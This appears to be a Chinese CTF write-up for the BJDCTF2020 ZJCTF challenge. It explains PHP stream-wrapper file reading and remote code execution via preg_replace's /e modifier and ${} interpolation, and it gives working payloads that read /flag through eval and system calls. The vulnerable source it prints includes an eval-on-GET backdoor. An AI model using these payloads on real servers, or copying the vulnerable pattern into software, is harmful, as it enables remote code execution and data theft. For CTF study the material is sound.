知识点

本地文件包含伪协议

  1. ?text=php://input //执行
  2. post:
  3. I have a dream
  1. ?file=php://filter/read/convert.base64-encode/resource=index.php

preg_replace()使用的/e模式可以存在远程执行代码

看一下可变变量的概念

https://blog.spoock.com/2017/07/18/php-variables-variable/?utm_source=tuicool&utm_medium=referral

还有preg_replace的深入了解

https://xz.aliyun.com/t/2557

payload 为:

  1. /?.*={${phpinfo()}}

但是这个执行不了,可以看看这个

https://www.freebuf.com/articles/web/213359.html?tdsourcetag=s_pcqq_aiomsg

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图1

那么我们换一个(上面文章也有说道)

  1. \S*=${phpinfo()}

解题

打开题目给出了源码

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图2

分析一下__:

  1. 1:通过get方式传入$text$file
  2. 2text变量中内容要是I have a dream
  3. 3file中不能有flag关键字

伪协议读取一下next源码

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图3

得到源码:

  1. <?php
  2. $id = $_GET['id'];
  3. $_SESSION['id'] = $id;
  4. function complex($re, $str) {
  5. return preg_replace(
  6. '/(' . $re . ')/ei',
  7. 'strtolower("\\1")',
  8. $str
  9. );
  10. }
  11. foreach($_GET as $re => $str) {
  12. echo complex($re, $str). "\n";
  13. }
  14. function getFlag(){
  15. @eval($_GET['cmd']);
  16. }

看源码 就是preg_replace()的RCE

PHP中正则替换函数preg_replace:

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图4

其中/e修饰符已经被弃用:

  1. /e 修正符使 preg_replace() replacement 参数(字符串)当作 PHP 代码(在适当的逆向引用替换完之后)执行。

也就是说如果可控replacement,传入php代码的,想大于执行了eval(“replacement”)。

我们来看题目中的代码:

  1. return preg_replace(‘/(‘ . $re . ‘)/ei‘,‘strtolower("\\1")‘,$str);

其中$re,$str是取全局变量$_GET的每个键值得到的,比如传入?a=b,则$re=a,$str=b.

可以看到pattern和subjuect都是可控,可带了/e修饰符。但是replacement不可控。那就没办法了嘛?非也。

分析一下。目前这个正则会再替换过程中执行:eval(“strtolower(“\1”)”);

strtolower会把所有大写字母字符变为小写,返回处理后的字符串。

\1转义后就是’\1’。而+数字再PHP的正则匹配中是有特殊意义的:

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图5

举个例子:

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图6

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图7

当第一次匹配成功的时候,会把匹配到的匹配项保存起来,之后的匹配过程中,如果遇到之前匹配到的项科研直接匹配。同时

  1. 每个缓冲区都可以使用 \n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

假设我们要匹配的subjuect为phpinfo();,pattern是\S:

那么replacement就变成了:

  1. strtolower("\\1")--->strtolower("\1")---->strtolower("phpinfo();")

配上\e就会在匹配的过程中执行:

  1. eval(‘strtolower("phpinfo();")‘);

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图8

执行结果为:

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图9

那么怎样执行呢?我们来看php的一个特性

  1. php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。 注意:双引号中的函数不会被执行和替换。

那么可变变量又出场了,除了$$a这种套娃替换,他还可以利用上述特性执行命令:

  1. {${phpinfo()}}

如果我们执行了:

  1. eval(‘strtolower("{${phpinfo()}}")‘);

在解析执行前,因为被双引号包住了,那么${phpinfo()}中的phpinfo()会被当做变量先执行。

其中

payload1:利用源码给的getFlag函数

  1. /next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图10

payload2:通过构造post传参

  1. next.php?\S*=${eval($_POST[wtz])}
  2. POST
  3. wtz=system("cat /flag");

深入研究preg_replace与代码执行[BJDCTF2020]ZJCTF,不过如此 - 图11